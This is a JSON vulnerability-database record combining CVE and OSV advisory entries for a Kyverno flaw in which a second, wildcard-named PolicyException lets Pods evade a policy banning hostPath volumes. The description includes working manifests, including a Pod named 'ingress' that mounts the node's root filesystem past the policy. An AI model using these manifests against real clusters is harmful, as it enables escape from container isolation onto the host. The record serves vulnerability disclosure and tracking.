{"id":"BIT-kyverno-2026-84200","revision":null,"records":[{"revision":"ea3f10cd00f14652b081af04fed9e317","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-84200","aliases":[],"title":"Kyverno before v1.13.0 Policy Bypass via Multiple Exceptions","description":"Kyverno versions v1.9.0 through v1.12.7 contain a policy exception handling flaw. When a policy in enforce mode is combined with two PolicyExceptions, the less restrictive exception takes precedence, allowing an attacker to bypass the policy by crafting a resource name that matches the second exception's name pattern (e.g., '*ingress*'). This can be used to circumvent policies such as one blocking hostPath volumes. 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This policy ensures no hostPath volumes are in use.\nspec:\n  validationFailureAction: Enforce\n  background: true\n  rules:\n    - name: host-path\n      match:\n        any:\n        - resources:\n            kinds:\n              - Pod\n      validate:\n        message: >-\n          HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.\n        pattern:\n          spec:\n            =(volumes):\n              - X(hostPath): \"null\"\n```\n\nAnd two exceptions:\n\n```yaml\napiVersion: kyverno.io/v2beta1\nkind: PolicyException\nmetadata:\n  name: disallow-host-path-exception\n  namespace: kyverno\nspec:\n  exceptions:\n  - policyName: disallow-host-path\n    ruleNames:\n    - host-path\n  match:\n    any:\n    - resources:\n        kinds:\n        - DaemonSet\n        - Deployment\n        - Job\n        - StatefulSet\n        - ReplicaSet\n        - ReplicationController\n        - Pod\n        - CronJob\n        namespaces:\n        - luntry\n        - tstkyverno\n        - examplens\n```\n```yaml\napiVersion: kyverno.io/v2beta1\nkind: PolicyException\nmetadata:\n  name: disallow-host-path-exception-names\n  namespace: kyverno\nspec:\n  exceptions:\n  - policyName: disallow-host-path\n    ruleNames:\n    - host-path\n  match:\n    any:\n    - resources:\n        kinds:\n        - DaemonSet\n        - Deployment\n        - Job\n        - StatefulSet\n        - ReplicaSet\n        - ReplicationController\n        - Pod\n        - CronJob\n        names:\n        - '*haproxy*'\n        - '*ingress*'\n```\nTrying to apply such a yaml will result in the expected ban:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: mtkpi\n  labels:\n    app: pentest\nspec:\n  containers:\n  - name: mtkpi\n    image: ubuntu\n    volumeMounts:\n    - mountPath: /host\n      name: noderoot\n    command: [ \"/bin/sh\", \"-c\", \"--\" ]\n    args: [ \"while true; do sleep 30; done;\" ]  \n  volumes:\n  - name: noderoot\n    hostPath:\n      path: /\n```\n<img width=\"855\" height=\"483\" alt=\"Снимок экрана 2025-09-04 в 13 35 46\" src=\"https://github.com/user-attachments/assets/deb28128-52fb-4f5f-a9bd-b68eefd411b2\" />\n\nHowever, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: ingress\n  labels:\n    app: pentest\nspec:\n  containers:\n  - name: mtkpi\n    image: ubuntu\n    volumeMounts:\n    - mountPath: /host\n      name: noderoot\n    command: [ \"/bin/sh\", \"-c\", \"--\" ]\n    args: [ \"while true; do sleep 30; done;\" ]  \n  volumes:\n  - name: noderoot\n    hostPath:\n      path: /\n```\n\n<img width=\"449\" height=\"386\" alt=\"Снимок экрана 2025-09-04 в 13 37 09\" src=\"https://github.com/user-attachments/assets/8d5ad1e2-6d16-4768-8741-f11363bb9b22\" />\n\nIt turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.\n\n### Impact\nThe security restrictions can be bypassed.","state":0,"publishedAt":"2026-01-06T18:00:16+00:00","modifiedAt":"2026-09-25T14:25:34.508135+00:00","affected":[{"ecosystem":"Go","name":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.9.0"},{"kind":"fixed","version":"1.13.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-gg4x-fgg2-h9w9","https://github.com/kyverno/kyverno"],"sourceUrl":"https://github.com/advisories/GHSA-gg4x-fgg2-h9w9","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-gg4x-fgg2-h9w9","identifiers":["GHSA-gg4x-fgg2-h9w9","BIT-kyverno-2026-84200","CVE-2026-84200","GO-2026-4285"]},"retained":false,"historicalAffected":[]},{"revision":"de99d93c19a344448303f23eae3a716f","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-4285","aliases":["BIT-kyverno-2026-84200","CVE-2026-84200","GHSA-gg4x-fgg2-h9w9"],"title":"Bypassing Kyverno Policies via Double Policy Exceptions in github.com/kyverno/kyverno","description":"Bypassing Kyverno Policies via Double Policy Exceptions in github.com/kyverno/kyverno","state":0,"publishedAt":"2026-01-12T17:39:39+00:00","modifiedAt":"2026-09-25T14:25:34.508135+00:00","affected":[{"ecosystem":"Go","name":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.9.0"},{"kind":"fixed","version":"1.13.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-gg4x-fgg2-h9w9"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-4285","license":"OSV · upstream source license applies","key":"osv:GO-2026-4285","identifiers":["GO-2026-4285","BIT-kyverno-2026-84200","CVE-2026-84200","GHSA-gg4x-fgg2-h9w9"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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